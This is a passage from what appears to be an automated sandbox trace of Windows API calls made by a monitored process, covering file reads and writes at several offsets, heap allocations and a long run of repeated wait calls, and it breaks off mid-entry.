liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x304fc50 | out: lpNewFilePointer=0x0) returned 1 [0074.420] ReadFile (in: hFile=0x1d0, lpBuffer=0x3050058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x304fc5c, lpOverlapped=0x0 | out: lpBuffer=0x3050058*, lpNumberOfBytesRead=0x304fc5c*=0x40000, lpOverlapped=0x0) returned 1 [0074.446] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x4b5fee, lpNewFilePointer=0x0, dwMoveMethod=0x304fc50 | out: lpNewFilePointer=0x0) returned 1 [0074.446] ReadFile (in: hFile=0x1d0, lpBuffer=0x3090058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x304fc5c, lpOverlapped=0x0 | out: lpBuffer=0x3090058*, lpNumberOfBytesRead=0x304fc5c*=0x40000, lpOverlapped=0x0) returned 1 [0075.030] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0xde1fcc, lpNewFilePointer=0x0, dwMoveMethod=0x304fc50 | out: lpNewFilePointer=0x0) returned 1 [0075.030] ReadFile (in: hFile=0x1d0, lpBuffer=0x30d0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x304fc5c, lpOverlapped=0x0 | out: lpBuffer=0x30d0058*, lpNumberOfBytesRead=0x304fc5c*=0x40000, lpOverlapped=0x0) returned 1 [0075.065] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x304fdc0 | out: lpNewFilePointer=0x0) returned 1 [0075.065] WriteFile (in: hFile=0x1d0, lpBuffer=0x3050020*, nNumberOfBytesToWrite=0xc0102, lpNumberOfBytesWritten=0x304fdb8, lpOverlapped=0x0 | out: lpBuffer=0x3050020*, lpNumberOfBytesWritten=0x304fdb8*=0xc0102, lpOverlapped=0x0) returned 1 [0075.306] SetEndOfFile (hFile=0x1d0) returned 1 [0075.306] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0xde1fcc, lpNewFilePointer=0x0, dwMoveMethod=0x304fc58 | out: lpNewFilePointer=0x0) returned 1 [0075.307] WriteFile (in: hFile=0x1d0, lpBuffer=0x311013a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x304fc64, lpOverlapped=0x0 | out: lpBuffer=0x311013a*, lpNumberOfBytesWritten=0x304fc64*=0x40000, lpOverlapped=0x0) returned 1 [0075.309] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x4b5fee, lpNewFilePointer=0x0, dwMoveMethod=0x304fc58 | out: lpNewFilePointer=0x0) returned 1 [0075.309] WriteFile (in: hFile=0x1d0, lpBuffer=0x311013a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x304fc64, lpOverlapped=0x0 | out: lpBuffer=0x311013a*, lpNumberOfBytesWritten=0x304fc64*=0x40000, lpOverlapped=0x0) returned 1 [0075.310] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x304fc58 | out: lpNewFilePointer=0x0) returned 1 [0075.310] WriteFile (in: hFile=0x1d0, lpBuffer=0x311013a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x304fc64, lpOverlapped=0x0 | out: lpBuffer=0x311013a*, lpNumberOfBytesWritten=0x304fc64*=0x40000, lpOverlapped=0x0) returned 1 [0075.311] FlushFileBuffers (hFile=0x1d0) Thread: id = 24 os_tid = 0x620 [0053.605] GetProcessHeap () returned 0x730000 [0053.605] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x10000) returned 0x2e40048 [0053.606] GetProcessHeap () returned 0x730000 [0053.606] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x10000) returned 0x2e50050 [0053.607] GetProcessHeap () returned 0x730000 [0053.607] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x28) returned 0x754410 [0053.607] GetProcessHeap () returned 0x730000 [0053.607] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x110102) returned 0x3430020 [0053.607] GetProcessHeap () returned 0x730000 [0053.607] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x50) returned 0x74f418 [0053.607] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x76d30000 [0053.608] GetProcAddress (hModule=0x76d30000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76d5d650 [0053.608] Wow64DisableWow64FsRedirection (in: OldValue=0x329fa5c | out: OldValue=0x329fa5c*=0x0) returned 1 [0053.608] GetProcessHeap () returned 0x730000 [0053.608] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x74f418 | out: hHeap=0x730000) returned 1 [0053.608] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.608] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.608] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.608] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.608] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.608] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.608] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.609] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.609] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.609] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.609] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.609] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.609] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.609] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.609] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.610] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.610] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.610] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.610] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.610] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.610] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.610] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.610] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.610] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.610] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.611] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.611] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.611] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.611] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.611] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.611] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.611] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.611] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.611] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.611] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.612] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.612] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.612] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.612] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.612] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.612] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.612] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.612] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.612] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.612] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.613] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.613] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.613] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.613] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.613] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.613] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.613] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.613] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.613] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.613] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.614] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.614] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.614] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.614] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.614] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.614] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.614] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.614] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.614] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.615] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.615] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.615] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.615] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.615] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.615] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.615] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.615] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.615] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.615] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.616] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.616] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.616] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.616] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.616] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.616] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.616] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.616] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.616] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.616] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.617] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.617] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.617] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.617] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.617] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.617] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.617] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.617] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.617] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.617] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.618] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.618] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.618] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.618] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.618] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.618] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.618] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.618] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.618] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.618] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.619] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.619] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.619] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.619] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.619] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.619] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.619] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.619] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.619] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.620] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.620] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.620] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.620] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.620] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.620] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.620] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.620] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.620] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.620] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.621] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.621] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.621] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.621] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.621] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.621] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.621] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.621] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.621] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.621] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.622] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.622] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.622] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.622] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.622] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.622] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.622] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.622] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.622] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.623] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.623] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.623] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.623] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.623] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.623] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.623] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.623] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.623] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.623] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.624] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.624] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.624] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.624] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.624] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.624] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.624] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.627] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.627] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.627] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.627] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.627] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.627] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.627] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.627] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.628] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.628] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.628] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.628] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.628] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.628] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.628] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.628] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.628] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.628] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.629] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.629] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.629] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.629] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.629] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.629] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.629] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.629] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.629] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.630] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.630] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.630] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.630] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.630] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.630] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.630] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.630] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.630] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.630] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.631] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.631] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.631] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.631] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.631] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.631] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.631] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.631] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.631] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.631] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.632] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.632] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.632] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.632] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.632] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.632] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.632] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.632] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.632] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.632] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.633] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.633] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.633] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.633] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.633] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.633] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.633] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.633] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.633] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.633] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.634] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.634] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.634] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.634] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.634] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.634] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.634] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.634] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.634] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.635] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.635] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.635] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.635] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.635] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.635] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.635] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.635] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.635] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.635] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.636] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.636] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.636] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 [0053.636] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0xffffffff) returned 0x0 Thread: id = 25 os_tid = 0x35c [0053.641] GetProcessHeap () returned 0x730000 [0053.641] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x10000) returned 0x2e60058 [0053.641] GetProcessHeap () returned 0x730000 [0053.641] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x10000) returned 0x2e70060 [0053.642] GetProcessHeap () returned 0x730000 [0053.642] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x28) returned 0x754440 [0053.642] GetProcessHeap () returned 0x730000 [0053.642] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x110102) returned 0x3550020 [0053.642] GetProcessHeap () returned 0x730000 [0053.642] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, 